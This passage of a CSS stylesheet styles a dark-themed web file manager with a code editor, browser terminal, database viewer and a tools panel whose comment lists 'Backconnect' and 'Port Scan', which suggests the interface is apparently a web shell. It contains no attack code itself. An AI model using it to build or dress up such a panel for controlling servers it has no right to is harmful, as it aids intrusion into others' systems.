  background: linear-gradient(180deg, var(--jade-bg), rgba(245,185,66,.02));
  box-shadow: 0 0 0 1px var(--jade-bd2), var(--s2);
}
.gcard .ico-wrap {
  width: 52px; height: 52px;
  margin: 0 auto 12px;
  border-radius: var(--r12);
  background: linear-gradient(160deg, var(--ink3), var(--ink2));
}
.gcard .fico { width: 26px; height: 26px }
.gcard:hover .ico-wrap {
  border-color: var(--jade-bd2);
  background: linear-gradient(160deg, var(--ink4), var(--ink3));
}
.gname {
  font-size: 12.5px; font-weight: 500;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  color: var(--tx); position: relative;
}
.gsize {
  font-size: 10.5px; color: var(--tx3);
  margin-top: 4px; font-family: var(--mono);
  font-variant-numeric: tabular-nums; position: relative;
  display: flex; align-items: center; justify-content: center; gap: 6px;
}
.gext {
  font-size: 8.5px; font-weight: 700;
  padding: 1px 5px; border-radius: 3px;
  letter-spacing: .06em;
  background: color-mix(in srgb, var(--type-color, var(--jade)) 14%, transparent);
  color: var(--type-color, var(--jade));
  border: 1px solid color-mix(in srgb, var(--type-color, var(--jade)) 24%, transparent);
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .gext { background: var(--ink3); border: 1px solid var(--bd2) }
}

/* ─── STATUS BAR ──────────────────────────────────────────────── */
.statusbar {
  height: var(--statusbar-h);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-top: 1px solid var(--bd2);
  display: flex; align-items: center; padding: 0 16px; gap: 18px;
  font-size: 11px; font-family: var(--mono); color: var(--tx3);
  flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.pulse-dot {
  width: 7px; height: 7px; border-radius: 50%;
  background: var(--jade);
  box-shadow: 0 0 0 0 rgba(245,185,66,.6);
  animation: pulseDot 2.4s var(--ease) infinite;
  flex-shrink: 0;
}
@keyframes pulseDot {
  0%, 100% { box-shadow: 0 0 0 0 rgba(245,185,66,.5); opacity: 1 }
  50%      { box-shadow: 0 0 0 5px rgba(245,185,66,0); opacity: .6 }
}
.statusbar strong { color: var(--tx2); font-weight: 600 }
.st-right { margin-left: auto }
.statusbar > span { display: inline-flex; align-items: center; gap: 6px }

/* ─── EMPTY STATE ─────────────────────────────────────────────── */
.empty { padding: 90px 24px; text-align: center; color: var(--tx3); position: relative; z-index: 1 }
.empty-ico {
  width: 84px; height: 84px;
  margin: 0 auto 22px;
  border-radius: 18px;
  background:
    radial-gradient(circle at 30% 25%, rgba(245,185,66,.14) 0%, transparent 60%),
    linear-gradient(160deg, var(--ink3), var(--ink1));
  border: 1px solid var(--jade-bd);
  display: grid; place-items: center;
  box-shadow:
    var(--s2),
    inset 0 1px 0 rgba(255,255,255,.05),
    0 0 0 4px rgba(245,185,66,.04),
    0 0 32px rgba(245,185,66,.08);
  position: relative;
}
.empty-ico::after {
  content: ""; position: absolute; inset: -8px;
  border: 1px dashed var(--jade-bd);
  border-radius: 22px;
  opacity: .4;
  animation: emptyOrbit 18s linear infinite;
}
@keyframes emptyOrbit { to { transform: rotate(360deg) } }
.empty-ico svg { width: 36px; height: 36px; fill: var(--jade); opacity: .9 }
.empty-ico svg { width: 32px; height: 32px; fill: var(--jade); opacity: .65 }
.empty h3 { font-size: 17px; color: var(--tx); margin-bottom: 6px; font-weight: 600; letter-spacing: -.01em }
.empty p { font-size: 13px; color: var(--tx3); max-width: 280px; margin: 0 auto 20px }

/* ─── MODALS ──────────────────────────────────────────────────── */
.overlay {
  position: fixed; inset: 0; z-index: 200;
  background: rgba(3,3,4,.78);
  display: flex; align-items: center; justify-content: center;
  padding: 24px;
  opacity: 0; visibility: hidden;
  transition: opacity .2s var(--ease), visibility .2s var(--ease);
}
.overlay.open { opacity: 1; visibility: visible }

.modal {
  background: linear-gradient(180deg, var(--ink2) 0%, var(--ink1) 100%);
  border: 1px solid var(--bd2);
  border-radius: var(--r20);
  box-shadow: var(--s3), 0 0 0 1px rgba(255,255,255,.02) inset;
  width: 100%; max-height: 92vh;
  display: flex; flex-direction: column; overflow: hidden;
  transform: scale(.96) translateY(8px);
  transition: transform .24s var(--spring);
}
.overlay.open .modal { transform: scale(1) translateY(0) }
.m-sm { max-width: 460px } .m-md { max-width: 600px }
.m-lg { max-width: 920px } .m-full { width: 96vw; max-width: 1320px; height: 90vh }

.modal-head {
  display: flex; align-items: center; gap: 12px;
  padding: 14px 18px;
  border-bottom: 1px solid var(--bd2);
  flex-shrink: 0;
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  position: relative;
}
.modal-head::before {
  content: ""; position: absolute; left: 0; right: 0; bottom: -1px; height: 1px;
  background: linear-gradient(90deg, transparent, var(--jade-bd), transparent);
}
.modal-head h2 {
  font-size: 14px; font-weight: 600;
  flex: 1; letter-spacing: -.01em; color: var(--tx);
}
.path-tag {
  font-size: 10.5px; color: var(--jade);
  font-family: var(--mono); font-weight: 500;
  padding: 4px 10px;
  background: var(--ink3); border-radius: var(--r6);
  border: 1px solid var(--jade-bd);
  max-width: 280px;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.modal-body { padding: 20px; overflow: auto; flex: 1 }
.modal-foot {
  display: flex; align-items: center; justify-content: flex-end; gap: 10px;
  padding: 13px 18px;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, transparent, rgba(0,0,0,.15));
  flex-shrink: 0;
}
.modal-foot .left { flex: 1; font-size: 11px; color: var(--tx3); font-family: var(--mono) }

/* ─── FORMS ───────────────────────────────────────────────────── */
.fg { margin-bottom: 16px }
.fg label {
  display: block; font-size: 10.5px; font-weight: 700;
  color: var(--tx3); text-transform: uppercase; letter-spacing: .1em;
  margin-bottom: 7px;
}
.fg input, .fg textarea, .fg select {
  width: 100%; padding: 10px 12px;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r8); outline: none;
  color: var(--tx); font-size: 13.5px;
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease), background-color .15s var(--ease);
}
.fg input:hover:not(:focus), .fg textarea:hover:not(:focus), .fg select:hover:not(:focus) { background: var(--ink4); border-color: var(--bd) }
.fg input:focus, .fg textarea:focus, .fg select:focus {
  border-color: var(--jade-bd2);
  box-shadow: var(--s-jade-soft);
  background: var(--ink3);
}
.fg textarea {
  font-family: var(--mono); font-size: 13px;
  resize: vertical; min-height: 90px; line-height: 1.7;
}

/* ─── CODE EDITOR ─────────────────────────────────────────────── */
.editor-wrap {
  display: flex; flex: 1; overflow: hidden;
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  background: var(--ink0);
  min-height: 480px;
  box-shadow: inset 0 1px 2px rgba(0,0,0,.4);
}
.line-nums {
  padding: 18px 0;
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-right: 1px solid var(--bd2);
  font-family: var(--mono); font-size: 13px; line-height: 1.75;
  color: var(--tx4); text-align: right;
  user-select: none; overflow: hidden;
  min-width: 56px; flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.line-nums div { padding: 0 12px }
.ed-area { flex: 1; position: relative; overflow: hidden }
.ed-area .ed-highlight,
.ed-area textarea {
  position: absolute; inset: 0; width: 100%; height: 100%;
  margin: 0;
  padding: 18px 20px;
  font-family: var(--mono); font-size: 13px; line-height: 1.75;
  tab-size: 4;
  white-space: pre;
  word-wrap: normal;
  overflow: auto;
  border: none;
  border-radius: 0;
}
.ed-area .ed-highlight {
  pointer-events: none;
  z-index: 1;
  color: var(--tx);
  overflow: hidden;
}
.ed-area textarea {
  z-index: 2;
  background: transparent;
  outline: none;
  resize: none;
  color: transparent;
  caret-color: var(--jade);
  -webkit-text-fill-color: transparent;
}
.ed-area textarea::selection { background: rgba(245,185,66,.30); color: transparent }
.ed-area textarea::-moz-selection { background: rgba(245,185,66,.30); color: transparent }
.ed-area.no-highlight textarea {
  color: var(--tx);
  -webkit-text-fill-color: var(--tx);
}
.ed-area.no-highlight .ed-highlight { display: none }

/* ─── SYNTAX TOKEN COLORS — Noir Gold palette ────────────────── */
.tk-com { color: #6e6a5e; font-style: italic }
.tk-str { color: #c4d196 }
.tk-num { color: #f5b942 }
.tk-key { color: #ff8c70 }
.tk-fn  { color: #e0bcff }
.tk-var { color: #ffa657 }
.tk-tag { color: #b8d986 }
.tk-att { color: #d4961f }
.tk-cls { color: #ffa657 }
.tk-pun { color: var(--tx2) }
.tk-bool{ color: #f5b942; font-weight: 600 }
.tk-op  { color: #ff8c70 }
.tk-md-h{ color: #f5b942; font-weight: 700 }
.tk-md-em{ color: #e0bcff; font-style: italic }
.tk-md-cd{ color: #c4d196 }
.tk-md-li{ color: #ff8c70 }

/* ─── IMAGE PREVIEW MODAL ─────────────────────────────────────── */
.ip-tabs {
  display: flex; gap: 2px;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r8);
  padding: 3px;
}
.ip-tab {
  padding: 5px 14px; font-size: 12px; font-weight: 500;
  color: var(--tx3); background: transparent;
  border: none; border-radius: var(--r6);
  cursor: pointer;
  transition: color .15s var(--ease), background-color .15s var(--ease);
}
.ip-tab:hover:not(.active) { background: var(--ink4); color: var(--tx2) }
.ip-tab.active {
  background: linear-gradient(180deg, var(--ink4), var(--ink3));
  color: var(--jade);
  box-shadow: 0 1px 0 rgba(255,255,255,.04) inset;
}

.ip-pane {
  display: flex; flex-direction: column;
  align-items: center; justify-content: center;
  min-height: 360px;
  background:
    repeating-conic-gradient(var(--ink2) 0% 25%, var(--ink1) 0% 50%) 50% / 24px 24px;
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  padding: 16px;
  position: relative;
}
.ip-image img {
  max-width: 100%;
  max-height: 70vh;
  object-fit: contain;
  border-radius: var(--r8);
  box-shadow: var(--s2);
  background: #000;
}
.ip-image .img-info {
  position: absolute; left: 14px; bottom: 14px;
  font-family: var(--mono); font-size: 11px;
  background: rgba(0,0,0,.65);
  border: 1px solid var(--bd2);
  border-radius: var(--r6);
  padding: 4px 10px;
  color: var(--tx2);
}
.ip-text {
  background: var(--ink0);
  align-items: stretch; justify-content: stretch;
  padding: 0;
  min-height: 360px;
}
.ip-text pre {
  flex: 1;
  margin: 0; padding: 16px 18px;
  font-family: var(--mono); font-size: 12.5px; line-height: 1.7;
  color: var(--tx2);
  white-space: pre-wrap; word-break: break-all;
  overflow: auto;
  max-height: 70vh;
}
.ip-text pre.hex-mode {
  white-space: pre; word-break: normal;
}

/* ─── TOOLS (Cron, Backconnect, Port Scan, DB) ──────────────── */
.tool-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px }
.tool-grid .fg { margin-bottom: 0 }
.tool-grid .span2 { grid-column: 1 / -1 }
@media (max-width: 640px) { .tool-grid { grid-template-columns: 1fr } }
.tool-output {
  margin-top: 14px; padding: 12px 14px;
  background: var(--ink0); border: 1px solid var(--bd2);
  border-radius: var(--r10); font-family: var(--mono);
  font-size: 12px; line-height: 1.65; color: var(--tx2);
  max-height: 280px; overflow: auto; white-space: pre-wrap;
}
.tool-output.empty { color: var(--tx4); font-style: italic }
.tool-output.tall { max-height: 420px; min-height: 180px }
.tool-cmd {
  font-family: var(--mono); font-size: 11px; color: var(--jade);
  padding: 8px 10px; margin-bottom: 10px;
  background: var(--ink0); border: 1px solid var(--jade-bd);
  border-radius: var(--r8); word-break: break-all; line-height: 1.5;
}
.tool-tags { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 10px }
.tool-tag {
  font-family: var(--mono); font-size: 11px; font-weight: 600;
  padding: 4px 10px; border-radius: 999px;
  background: var(--jade-bg); border: 1px solid var(--jade-bd);
  color: var(--jade-hi);
}
.tool-tag.closed {
  background: var(--red-bg); border-color: var(--red-bd); color: var(--red);
}
.db-result-wrap { overflow: auto; max-height: 340px; margin-top: 12px; border: 1px solid var(--bd2); border-radius: var(--r10) }
.db-result-wrap table { width: 100%; border-collapse: collapse; font-size: 12px }
.db-result-wrap th, .db-result-wrap td {
  padding: 7px 10px; text-align: left; border-bottom: 1px solid var(--bd2);
  font-family: var(--mono); white-space: nowrap; max-width: 220px;
  overflow: hidden; text-overflow: ellipsis;
}
.db-result-wrap th { background: var(--ink3); color: var(--jade); font-weight: 600; position: sticky; top: 0 }
.db-result-wrap tr:hover td { background: rgba(245,185,66,.04) }
.db-tables { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px }
.db-table-chip {
  font-family: var(--mono); font-size: 11px; padding: 4px 9px;
  border-radius: var(--r6); background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx2); cursor: pointer; transition: all .15s var(--ease);
}
.db-table-chip:hover { border-color: var(--jade-bd); color: var(--jade) }
.tool-note { font-size: 11px; color: var(--tx4); margin-top: 8px; line-height: 1.5 }

/* ─── CYBER SECURITY HUB ─────────────────────────────────────── */
.sec-tabs {
  padding: 10px 14px 0;
  border-bottom: 1px solid var(--bd2);
  background: var(--ink1);
  flex-wrap: wrap;
  gap: 4px;
}
.sec-panel { display: none }
.sec-panel.active { display: block }
.sec-panel .tool-output { max-height: 360px; min-height: 200px }
.sec-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 12px; align-items: center }
.sec-actions .btn-sm { font-size: 11px; padding: 6px 12px }
.blue-badge {
  display: inline-block; font-size: 10px; font-weight: 700; padding: 2px 8px;
  border-radius: 999px; margin-right: 6px; font-family: var(--mono);
}
.blue-badge.critical { background: var(--red-bg); color: var(--red); border: 1px solid var(--red-bd) }
.blue-badge.high { background: var(--amber-bg); color: var(--amber); border: 1px solid rgba(212,150,31,.3) }
.blue-badge.ok { background: var(--jade-bg); color: var(--jade); border: 1px solid var(--jade-bd) }
.blue-threat-wrap {
  margin-top: 12px; border: 1px solid var(--bd2); border-radius: var(--r10);
  background: var(--ink0); max-height: 320px; overflow: auto;
}
.blue-threat-item {
  display: flex; gap: 10px; align-items: flex-start; padding: 10px 12px;
  border-bottom: 1px solid var(--bd2); font-size: 12px;
}
.blue-threat-item:last-child { border-bottom: none }
.blue-threat-item:hover { background: rgba(245,185,66,.03) }
.blue-threat-item input { margin-top: 3px; flex-shrink: 0; accent-color: var(--jade) }
.blue-threat-info { flex: 1; min-width: 0 }
.blue-threat-path {
  font-family: var(--mono); font-size: 11.5px; color: var(--tx);
  word-break: break-all; line-height: 1.45;
}
.blue-threat-meta { font-size: 10.5px; color: var(--tx4); margin-top: 4px; line-height: 1.5 }
.blue-threat-sev {
  font-family: var(--mono); font-size: 10px; font-weight: 700;
  padding: 2px 7px; border-radius: 4px; flex-shrink: 0;
}
.blue-threat-sev.CRITICAL { background: var(--red-bg); color: var(--red) }
.blue-threat-sev.HIGH { background: var(--amber-bg); color: var(--amber) }
.blue-threat-sev.MEDIUM { background: rgba(121,192,255,.12); color: var(--blue) }
.blue-threat-sev.LOW { background: var(--ink4); color: var(--tx3) }
.blue-threat-actions {
  display: none; flex-wrap: wrap; gap: 8px; margin-top: 12px; align-items: center;
}
.blue-threat-actions.show { display: flex }
.blue-threat-actions .btn-danger { background: var(--red-bg); border-color: var(--red-bd); color: var(--red) }
.blue-threat-actions .btn-danger:hover { background: rgba(248,113,113,.2) }

/* ─── TERMINAL — Premium Warp/iTerm-inspired ─────────────────── */
.term-modal .modal-body {
  padding: 0; display: flex; flex-direction: column;
  background: var(--ink0);
  position: relative;
  overflow: hidden;
}
.term-modal .modal-body::before {
  content: "";
  position: absolute; inset: 0;
  background: repeating-linear-gradient(
    0deg,
    transparent 0,
    transparent 2px,
    rgba(245,185,66,.012) 3px,
    transparent 4px
  );
  pointer-events: none; opacity: .45;
  z-index: 0;
}

.term-top {
  display: flex; align-items: center; gap: 14px;
  padding: 11px 18px;
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border-bottom: 1px solid var(--bd2);
  box-shadow: inset 0 -1px 0 rgba(245,185,66,.05);
  flex-shrink: 0;
  position: relative; z-index: 2;
}
.term-dots { display: flex; gap: 7px }
.term-dots i {
  width: 12px; height: 12px; border-radius: 50%;
  display: block;
  box-shadow:
    inset 0 1px 0 rgba(255,255,255,.28),
    0 1px 2px rgba(0,0,0,.4);
  transition: opacity .2s var(--ease), transform .2s var(--ease);
}
.term-dots i:nth-child(1) { background: linear-gradient(135deg, #ff7a6e, #ff5f57) }
.term-dots i:nth-child(2) { background: linear-gradient(135deg, #ffd13b, #febc2e) }
.term-dots i:nth-child(3) { background: linear-gradient(135deg, #4cd964, #28c840) }
.term-dots:hover i { opacity: .85 }

.term-title-area {
  flex: 1; display: flex; flex-direction: column; gap: 2px;
  align-items: center; min-width: 0;
}
.term-title {
  font-size: 11px; font-weight: 700;
  color: var(--tx2); letter-spacing: .14em;
  text-transform: uppercase;
  display: flex; align-items: center; gap: 7px;
}
.term-title-icon {
  width: 12px; height: 12px;
  stroke: var(--jade); fill: none;
  filter: drop-shadow(0 0 4px rgba(245,185,66,.4));
}
.term-cwd {
  font-family: var(--mono); font-size: 10.5px;
  color: var(--tx4); font-weight: 500;
  max-width: 60ch;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  letter-spacing: .02em;
}

.term-actions { display: flex; gap: 5px; align-items: center }
.term-stats {
  font-family: var(--mono); font-size: 10px;
  color: var(--tx4); font-weight: 500;
  padding: 3px 9px; border-radius: 4px;
  background: var(--ink3); border: 1px solid var(--bd2);
  display: flex; align-items: center; gap: 4px;
}
.term-stats b { color: var(--jade); font-weight: 700; font-variant-numeric: tabular-nums }
.term-actions .term-btn {
  width: 28px; height: 28px;
  border-radius: 6px;
  background: transparent; border: 1px solid transparent;
  color: var(--tx3); cursor: pointer;
  display: grid; place-items: center;
  transition: all .15s var(--ease);
}
.term-actions .term-btn:hover {
  background: var(--ink3);
  color: var(--jade);
  border-color: var(--bd2);
}
.term-actions .term-btn svg { width: 13px; height: 13px; fill: currentColor }

/* Output area */
.term-out {
  flex: 1; overflow-y: auto;
  padding: 18px 22px 14px;
  font-family: var(--mono); font-size: 12.5px; line-height: 1.7;
  color: var(--tx2);
  position: relative; z-index: 1;
  scroll-behavior: smooth;
  background:
    radial-gradient(ellipse 700px 350px at 50% 0%, rgba(245,185,66,.022) 0%, transparent 70%);
}

/* Welcome banner */
.term-banner {
  margin: 0 0 18px 0;
  padding: 14px 16px;
  background: linear-gradient(135deg, rgba(245,185,66,.06), rgba(245,185,66,.02));
  border: 1px solid var(--jade-bd);
  border-left: 3px solid var(--jade);
  border-radius: 8px;
  font-family: var(--mono); font-size: 11.5px;
  color: var(--tx2); line-height: 1.65;
}
.term-banner b {
  color: var(--jade); font-weight: 700;
  letter-spacing: .04em;
  display: block; margin-bottom: 4px;
  font-size: 12px;
}
.term-banner .kbd {
  font-family: var(--mono); font-size: 10.5px;
  padding: 1px 6px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx); font-weight: 600;
  margin: 0 2px;
}

/* Block-style output (each command gets its own card) */
.term-block {
  margin-bottom: 16px;
  padding-left: 14px;
  border-left: 2px solid var(--bd2);
  position: relative;
  animation: tblockIn .22s var(--ease-out);
}
@keyframes tblockIn {
  from { opacity: 0; transform: translateX(-4px) }
  to   { opacity: 1; transform: translateX(0) }
}
.term-block.success { border-left-color: var(--jade-bd2) }
.term-block.error   { border-left-color: rgba(248,113,113,.55) }
.term-block.running { border-left-color: var(--jade) }
.term-block.running::before {
  content: ""; position: absolute;
  left: -2px; top: 0; bottom: 0; width: 2px;
  background: var(--jade);
  animation: tblockPulse 1.2s var(--ease) infinite;
}
@keyframes tblockPulse {
  0%, 100% { opacity: 1 }
  50%      { opacity: .35 }
}

.term-cmd-line {
  display: flex; align-items: center; gap: 10px;
  padding: 4px 0 8px;
  font-weight: 500;
}
.term-prompt-mini {
  color: var(--jade); font-weight: 800;
  font-size: 13px; flex-shrink: 0;
  text-shadow: 0 0 8px rgba(245,185,66,.5);
}
.term-cmd-text {
  flex: 1; color: var(--tx);
  white-space: pre-wrap; word-break: break-all;
  font-weight: 500;
}
.term-cmd-meta {
  display: flex; gap: 6px; align-items: center;
  font-size: 10px; color: var(--tx4);
  font-weight: 500; flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.term-time { opacity: .65 }
.term-duration {
  padding: 1px 7px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx3); letter-spacing: .02em;
}
.term-block.success .term-duration { color: var(--jade); border-color: var(--jade-bd) }
.term-block.error .term-duration { color: var(--red); border-color: rgba(248,113,113,.3) }

.term-out-text {
  white-space: pre-wrap; word-break: break-word;
  padding: 2px 0;
  color: var(--tx2);
  font-size: 12.5px;
  line-height: 1.7;
}
.term-block.error .term-out-text { color: #ffb3b3 }
.term-block.dim  .term-out-text { color: var(--tx4); font-style: italic }
.term-exit-note {
  display: inline-flex; align-items: center; gap: 6px;
  margin-top: 6px; padding: 2px 9px;
  font-size: 10.5px; font-weight: 600;
  background: rgba(248,113,113,.1);
  border: 1px solid rgba(248,113,113,.25);
  border-radius: 4px;
  color: var(--red);
}

/* Animated running dots */
.term-running-dots {
  display: inline-flex; gap: 5px;
  padding: 6px 0; align-items: center;
}
.term-running-dots span {
  width: 5px; height: 5px; border-radius: 50%;
  background: var(--jade);
  animation: trd 1.2s var(--ease) infinite;
}
.term-running-dots span:nth-child(2) { animation-delay: .15s }
.term-running-dots span:nth-child(3) { animation-delay: .3s }
@keyframes trd {
  0%, 100% { opacity: .3; transform: scale(.8) }
  50%      { opacity: 1; transform: scale(1) }
}

/* Legacy line for system/dim messages */
.term-line { margin-bottom: 2px; animation: tline .12s var(--ease) }
@keyframes tline { from{opacity:0; transform: translateY(-2px)} to{opacity:1; transform: translateY(0)} }
.term-line.cmd { color: var(--jade); font-weight: 500 }
.term-line.err { color: var(--red) }
.term-line.dim { color: var(--tx4); font-style: italic }

/* Input row — premium prompt segments */
.term-in-row {
  display: flex; align-items: center; gap: 12px;
  padding: 13px 22px;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  flex-shrink: 0;
  position: relative; z-index: 2;
  transition: box-shadow .25s var(--ease);
}
.term-in-row::before {
  content: ""; position: absolute;
  left: 0; right: 0; top: 0; height: 1px;
  background: linear-gradient(90deg, transparent, var(--jade-bd), transparent);
  transition: background .25s var(--ease);
}
.term-in-row:focus-within {
  box-shadow: 0 -8px 24px rgba(245,185,66,.06);
}
.term-in-row:focus-within::before {
  background: linear-gradient(90deg, transparent, var(--jade), transparent);
}

.term-prompt-area {
  display: flex; align-items: baseline; gap: 0;
  font-family: var(--mono); font-size: 12px;
  flex-shrink: 0;
  letter-spacing: .01em;
}
.term-prompt-user { color: var(--jade); font-weight: 700 }
.term-prompt-at   { color: var(--tx4); margin: 0 1px }
.term-prompt-host { color: var(--jade-hi); font-weight: 600 }
.term-prompt-colon{ color: var(--tx4); margin: 0 1px }
.term-prompt-cwd {
  color: #79c0ff; font-weight: 500;
  max-width: 28ch;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.term-prompt-mark {
  color: var(--jade); font-weight: 800;
  font-size: 14px; line-height: 1;
  margin-left: 7px;
  text-shadow: 0 0 8px rgba(245,185,66,.55);
}

.term-in-row input {
  flex: 1; background: transparent; border: none; outline: none;
  font-family: var(--mono); font-size: 13px; color: var(--tx);
  caret-color: var(--jade);
  letter-spacing: .015em;
  min-width: 0;
}
.term-in-row input::placeholder {
  color: var(--tx4); font-style: italic; opacity: .7;
}

.term-spinner {
  display: none; flex-shrink: 0;
  width: 14px; height: 14px;
  border: 2px solid var(--jade-bd);
  border-top-color: var(--jade);
  border-radius: 50%;
  animation: tspin .7s linear infinite;
}
.term-spinner.show { display: inline-block }
@keyframes tspin { to { transform: rotate(360deg) } }

.term-hint {
  font-family: var(--mono); font-size: 9.5px;
  color: var(--tx4);
  display: flex; gap: 10px; align-items: center;
  flex-shrink: 0; opacity: .65;
  letter-spacing: .04em;
}
.term-hint .kbd {
  padding: 1px 6px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx3); font-weight: 700;
  margin-right: 3px;
}

@media (max-width: 720px) {
  .term-title-area { display: none }
  .term-hint { display: none }
  .term-stats { display: none }
  .term-prompt-host, .term-prompt-at { display: none }
  .term-in-row { padding: 12px 14px; gap: 8px }
  .term-out { padding: 14px 14px 10px }
}

/* ─── CONTEXT MENU ────────────────────────────────────────────── */
.ctx {
  position: fixed; z-index: 300;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  box-shadow: var(--s3), 0 0 0 1px rgba(255,255,255,.02) inset;
  min-width: 200px; padding: 5px; display: none;
  transform-origin: top left;
  animation: ctxPop .14s var(--spring);
}
@keyframes ctxPop {
  from { opacity: 0; transform: scale(.94) translateY(-2px) }
  to   { opacity: 1; transform: scale(1) translateY(0) }
}
.ctx.open { display: block }
.ci {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 12px; font-size: 12.5px; font-weight: 500;
  border-radius: var(--r8); cursor: pointer; color: var(--tx2);
  border: none; background: transparent;
  width: 100%; text-align: left;
  transition: background-color .1s var(--ease), color .1s var(--ease);
}
.ci:hover { background: var(--jade-bg); color: var(--tx) }
.ci.danger:hover { background: var(--red-bg); color: var(--red) }
.ci svg { width: 13px; height: 13px; fill: currentColor; opacity: .75 }
.ci:hover svg { opacity: 1 }
.ctx-sep { height: 1px; background: var(--bd2); margin: 4px 6px }

/* ─── TOASTS ──────────────────────────────────────────────────── */
.toasts {
  position: fixed; bottom: 20px; right: 20px; z-index: 400;
  display: flex; flex-direction: column-reverse; gap: 8px;
  pointer-events: none;
}
.toast {
  padding: 11px 14px 11px 12px;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r10);
  box-shadow: var(--s2), 0 0 0 1px rgba(255,255,255,.02) inset;
  font-size: 12.5px; font-weight: 500;
  color: var(--tx);
  display: flex; align-items: center; gap: 11px;
  pointer-events: auto; max-width: 380px;
  animation: toastIn .26s var(--spring);
}
@keyframes toastIn {
  from { opacity: 0; transform: translateX(20px) scale(.96) }
  to   { opacity: 1; transform: translateX(0) scale(1) }
}
.t-dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0 }
.toast.ok { border-color: var(--jade-bd) }
.toast.ok .t-dot { background: var(--jade); box-shadow: 0 0 0 3px var(--jade-bg), 0 0 8px var(--jade) }
.toast.err { border-color: var(--red-bd) }
.toast.err .t-dot { background: var(--red); box-shadow: 0 0 0 3px var(--red-bg), 0 0 8px var(--red) }

/* ─── SEARCH RESULTS ──────────────────────────────────────────── */
.sr-list {
  position: absolute; top: calc(100% + 8px); left: 0; right: 0;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  box-shadow: var(--s3);
  max-height: 360px; overflow-y: auto; z-index: 150;
  padding: 5px; display: none;
  animation: ctxPop .15s var(--spring);
}
.sr-list.open { display: block }
.sr-item {
  display: flex; align-items: center; gap: 11px;
  padding: 9px 11px; font-size: 12.5px;
  border-radius: var(--r8);
  cursor: pointer;
  transition: background-color .1s var(--ease);
}
.sr-item:hover { background: var(--jade-bg) }
.sr-path {
  font-size: 10.5px; color: var(--tx3);
  font-family: var(--mono);
  margin-left: auto; max-width: 50%;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}

/* ─── DROPZONE ────────────────────────────────────────────────── */
.dropzone {
  border: 2px dashed var(--bd2);
  border-radius: var(--r16);
  padding: 50px 24px; text-align: center; color: var(--tx3);
  cursor: pointer;
  background:
    radial-gradient(ellipse 300px 200px at 50% 0%, rgba(245,185,66,.04), transparent 70%),
    var(--ink3);
  transition: border-color .15s var(--ease), background-color .15s var(--ease), transform .15s var(--ease-out);
}
.dropzone:hover {
  border-color: var(--jade-bd2);
  background: var(--jade-bg);
}
.dropzone.over {
  border-color: var(--jade);
  background: var(--jade-bg);
  transform: scale(1.005);
  box-shadow: 0 0 0 4px rgba(245,185,66,.06), inset 0 0 40px rgba(245,185,66,.05);
}
.dropzone svg { width: 44px; height: 44px; fill: var(--jade); opacity: .55; margin-bottom: 14px }
.dropzone:hover svg, .dropzone.over svg { opacity: 1 }
.dropzone strong { color: var(--jade) }

/* ─── UTILITIES ───────────────────────────────────────────────── */
.spin { animation: spin .7s linear infinite }
@keyframes spin { to { transform: rotate(360deg) } }
.hidden { display: none !important }

/* ─── HAMBURGER (mobile only) ─────────────────────────────────── */
.btn-burger {
  display: none;
  width: 38px; height: 38px;
  align-items: center; justify-content: center;
  border: 1px solid var(--bd2);
  background: var(--ink2);
  border-radius: var(--r8);
  cursor: pointer; flex-shrink: 0;
  color: var(--tx2);
  transition: background-color .15s var(--ease), border-color .15s var(--ease), color .15s var(--ease);
}
.btn-burger:hover {
  background: var(--ink3); color: var(--jade);
  border-color: var(--jade-bd);
}
.btn-burger svg { width: 18px; height: 18px; fill: currentColor }

/* ─── SIDEBAR BACKDROP (mobile only) ─────────────────────────── */
.sb-backdrop {
  display: none;
  position: fixed; inset: 0;
  background: rgba(3,3,4,.6);
  z-index: 89;
  opacity: 0;
  transition: opacity .22s var(--ease);
}
.sb-backdrop.open { opacity: 1 }

/* ─── RESPONSIVE ──────────────────────────────────────────────── */
@media (max-width: 960px) {
  /* Sidebar → off-canvas drawer */
  .sidebar {
    position: fixed; top: 0; left: 0; bottom: 0;
    width: min(280px, 84vw);
    z-index: 90;
    transform: translateX(-100%);
    transition: transform .26s var(--ease-out);
    box-shadow: var(--s3);
    will-change: transform;
  }
  .sidebar.open { transform: translateX(0) }
  .sb-backdrop.show { display: block }

  /* Show hamburger */
  .btn-burger { display: inline-flex }

  /* Logo: hide text but keep icon */
  .logo {
    min-width: auto; padding-right: 0;
    border-right: none; margin-right: 0;
